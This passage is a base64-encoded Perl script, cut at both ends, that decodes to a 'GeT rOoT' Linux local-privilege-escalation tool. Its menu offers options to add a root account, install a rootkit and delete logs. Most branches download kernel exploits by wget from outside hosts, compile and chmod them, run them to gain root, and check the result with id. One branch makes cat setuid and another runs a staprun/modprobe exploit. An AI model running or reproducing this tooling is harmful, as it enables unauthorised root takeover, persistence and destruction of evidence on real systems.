nZSBFc2NhbGF0aW9uICAgLTkgfCAgICAgICAgIAojPT09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PSMKfCAgICBNb3JlIGFib3V0IEdlVCByT29UIHZlcnNpb24gMS4wIC1hYiB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAp8ICAgICAgICAgIEhlbHAgTXkgaSBuZWVkIGhlbHAgICAgICAgLWhlIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0jCiM9PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT09IyAKfCB1aWQ9MChyb290KSAgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCl8CnwgTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IC0xICAgfAp8IExvY2FsIHJvb3QgMjAwOSBpNjg2ICAgMi42LjE4LTEyOCAtMiAgIHwKfCBMb2NhbCByb290IDIwMDggICAgICAgIDIuNi4xOCAgICAgLTMgICB8CnwgTG9jYWwgcm9vdCAyMDA3IHg4Nl82NCAyLjYuMjItNiAgIC00ICAgfAp8IGFsbCBMb2NhbCByb290ICAgICAgICAgICAgICAgICAgICAtNSAgIHwKIz09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PT0jCnwgICAgICAgICAgIEFkZCByb290IEFjY291bnQgICAgICAgIC1yICAgfAp8ICAgICAgICAgIGFkZCByb290a2l0IHY0LXRlYW0gICAgICAtdCAgIHwKfCAgICAgICAgICAgICAgcm0gLXJmIExvZyAgICAgICAgICAgLXJtICB8CiM9PT09PT09PT09PT1bICAgIGFib3V0ICAgXT09PT09PT09PT09PT09IyAKfCAgIEdlVCByT29UIEJ5IE9yNG5HLk00biB2ZXJzaW9uIDEuMCAgICB8IAp8ICAgIHByaXY4dGUgWyBAIF0gSG90bWFpbCBbIC4gXSBjb20gICAgIHwgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IyAKICAgICAgIHNlYzRldmVyLmNvbSB8IHY0LXRlYW0uY29tICAgICAgICAgICAgICAJCQkJCQkJCSAgIAopOwoKZXhpdDsKICAgICB9CgppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiYWRkIFNoZWxsIHRvb2xzIFsgdCBdXG4iOwpzeXN0ZW0gIndnZXQgaHR0cCI7CnN5c3RlbSAiY2QgL3Vzci9iaW47Y2htb2QgK3MgY2F0IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKCgogICAgIH0gCgppZiAoJEFSR1ZbMF0gPX4gIi0xIiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IFsgMSBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMSI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0xIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0xIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQoKaWYgKCRBUkdWWzBdID1+ICItMiIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwOSBpNjg2IDIuNi4xOC0xMjggIFsgMiBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0yIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0yIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkgCgkgCmlmICgkQVJHVlswXSA9fiAiLTMiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDggaTY4NiAyLjYuMTggIFsgMyBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0zIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkKCSAKaWYgKCRBUkdWWzBdID1+ICItNCIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwNyB4ODZfNjQgMi42LjIyLTYgWyA0IF1cbiI7CnN5c3RlbSAicHdkIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L0xvY2Fsei00IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgTG9jYWx6LTQiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vTG9jYWx6LTQiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQoJIAppZiAoJEFSR1ZbMF0gPX4gIi03IiApIAogICAgICAgICAgewpwcmludCAgIkxvY2FsIHJvb3QgMjAxMCBGcmVlQnNEIFsgYnNkIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvbG9jNGwiOwpzeXN0ZW0gImNobW9kIDc3NyBsb2M0bCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvYnNkbG9jYWwiOwpzeXN0ZW0gImNobW9kIDc3NyBic2Rsb2NhbCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvRnJlZUJTRG1hc3Rlci5wYXNzd2QuYyI7CnN5c3RlbSAiY2htb2QgNzc3IEZyZWVCU0RtYXN0ZXIucGFzc3dkLmMiOwogICAgIH0KCmlmICgkQVJHVlswXSA9fiAiLTgiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IGFMTCBFeHBsb2l0IFsgcHJpIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi40LjIwIjsKc3lzdGVtICJjaG1vZCA3NzcgMi40LjIwIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L2FsbC8yLjQuMjkiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjQuMjkiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNC4zNCI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNC4zNCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi42LjguYyI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNi44LmMiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNi42LTM0LmMiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjYuNi0zNC5jIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpwcmludCAiXHQgb2sgbm93IHlvdSBjYW4gdHJheSBhbnkgTG9jYWwiOwogICAgIH0JIAoJIAppZiAoJEFSR1ZbMF0gPX4gIi05IiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgUm9vdCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBbIHhwbCBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAncHJpbnRmICJpbnN0YWxsIHVwcm9iZXMgL2Jpbi9zaCIgPiBleHBsb2l0LmNvbmY7IE1PRFBST0JFX09QVElPTlM9Ii1DIGV4cGxvaXQuY29uZiIgc3RhcHJ1biAtdSB3aGF0ZXZlcic7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgaWYgKCRBUkdWWzBdID1+ICItNSIgKSAKICAgICAgICAgIHsKCQkgIAoJCSAgCiBzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvMjAxMC0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMTAtMSIpOwpzeXN0ZW0oIi4vMjAxMC0xIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuY2xlYXJ3YXRlcmNvdHRhZ2VzLmNvbS9tb2R1bGVzLzIwMTAtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTIiKTsKc3lzdGVtKCIuLzIwMTAtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LmNsZWFyd2F0ZXJjb3R0YWdlcy5jb20vbW9kdWxlcy9saW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oImNobW9kIDc3NyBsaW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vbGludXgtcmRzLWV4cGxvaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvaS1jYW4taGF6LW1vZGhhcmRlbiIpOwpzeXN0ZW0oImNobW9kIDc3NyBpLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiLi9pLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgkJICAKCQkgIHN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNvbGFyZW5zLmNvbS90ZW1wbGF0ZXMvYmVlei8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOyAKc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgkJICAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrb3JwaXR4Iik7CnN5c3RlbSgiY2htb2QgNzc3IGlza29ycGl0eCIpOyAKc3lzdGVtKCIuL2lza29ycGl0eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jIik7CnN5c3RlbSgiY2htb2QgNzc3IGMiKTsKc3lzdGVtKCIuL2MiKTsKc3lzdGVtKCJpZCIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZCIpOwpzeXN0ZW0oIi4vZCIpOwpzeXN0ZW0oImlkIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsKc3lzdGVtKCIuLzQ0Iik7CnN5c3RlbSgiaWQiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOTUyMSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7CnN5c3RlbSgiLi85NTIxIik7CnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9ydW45NyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuOTciKTsgCnN5c3RlbSgiLi85NyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9mcm9vdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgCnN5c3RlbSgiLi9mcm9vdCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC0xLmMiKTsgCnN5c3RlbSgiZ2NjIC1XYWxsIC1vIDE4LTEgMTgtMS5jIik7IApzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgtMS5jIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMSIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4LTMiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMTgtMiIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDE4LTIiKTsgCnN5c3RlbSgiLi8xOC0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzE4LTMiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC01Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMTgtNSIpOyAKc3lzdGVtKCIuLzE4LTUiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHBsb2l0MiIpOyAKc3lzdGVtKCIuL2V4cGxvaXQyIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2V4cDEiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHAxIik7IApzeXN0ZW0oIi4vZXhwMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9leHAyIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyAKc3lzdGVtKCIuL2V4cDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwMyIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsgCnN5c3RlbSgiLi9leHAzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIwMDktMSIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktMSIpOyAKc3lzdGVtKCIuLzIwMDktMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8zLmMiKTsgCnN5c3RlbSgiZ2NjIDMuYyAtbyAzIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOyAKc3lzdGVtKCIuLzMiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvM2EiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDNhIik7IApzeXN0ZW0oIi4vM2EiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNC5jIik7IApzeXN0ZW0oImdjYyA0LmMgLW8gNCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDQiKTsgCnN5c3RlbSgiLi80Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzRhIik7IApzeXN0ZW0oImNobW9kIDc3NyA0YSIpOyAKc3lzdGVtKCIuLzRhIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jeC5jIik7IApzeXN0ZW0oImdjYyBjeC5jIC1vIGN4Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgY3giKTsgCnN5c3RlbSgiLi9jeCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvY3h4LmMiKTsgCnN5c3RlbSgiZ2NjIGN4eC5jIC1vIGN4eCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGN4eCIpOyAKc3lzdGVtKCIuL2N4eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IApzeXN0ZW0oIi4vZXhwbG9pdDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL3J1biIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IApzeXN0ZW0oIi4vcnVuIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9yb290c2guYyIpOyAKc3lzdGVtKCJnY2Mgcm9vdHNoLmMgLW8gcm9vdHNoIik7ICAKc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdHNoIik7IApzeXN0ZW0oIi4vcm9vdHNoIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzI5LmMiKTsgCnN5c3RlbSgiZ2NjIDI5LmMgLW8gMjkiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyOSIpOyAKc3lzdGVtKCIuLzI5Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzMwIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMzAiKTsgCnN5c3RlbSgiLi8zMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOSIpOyAKc3lzdGVtKCIuLzIwMDkiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvcHdua2VybmVsIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7IApzeXN0ZW0oIi4vcHdua2VybmVsIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8wNSIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMDUiKTsgCnN5c3RlbSgiLi8wNSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrbyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgaXNrbyIpOyAKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaWQiKTsKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaXNrbyIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMTgiKTsgCnN5c3RlbSgiLi8xOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy83Iik7IApzeXN0ZW0oImNobW9kIDc3NyA3Iik7IApzeXN0ZW0oIi4vNyIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzciKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzctMiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgNy0yIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Iik7IApzeXN0ZW0oImNobW9kIDc3NyA4Iik7IApzeXN0ZW0oIi4vOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhhIik7IApzeXN0ZW0oImNobW9kIDc3NyA4YSIpOyAKc3lzdGVtKCIuLzhhIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vOGEiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhiYiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgOGJiIik7IApzeXN0ZW0oIi4vOGJiIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Y2MiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDhjYyIpOyAKc3lzdGVtKCIuLzhjYyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOHgiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDh4Iik7IApzeXN0ZW0oIi4vOHgiKTsgCnN5c3RlbSgiaWQiKTsgCnN5c3RlbSgiLi84eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMjAwOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOCIpOyAKc3lzdGVtKCIuLzIwMDgiKTsgCnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3Ry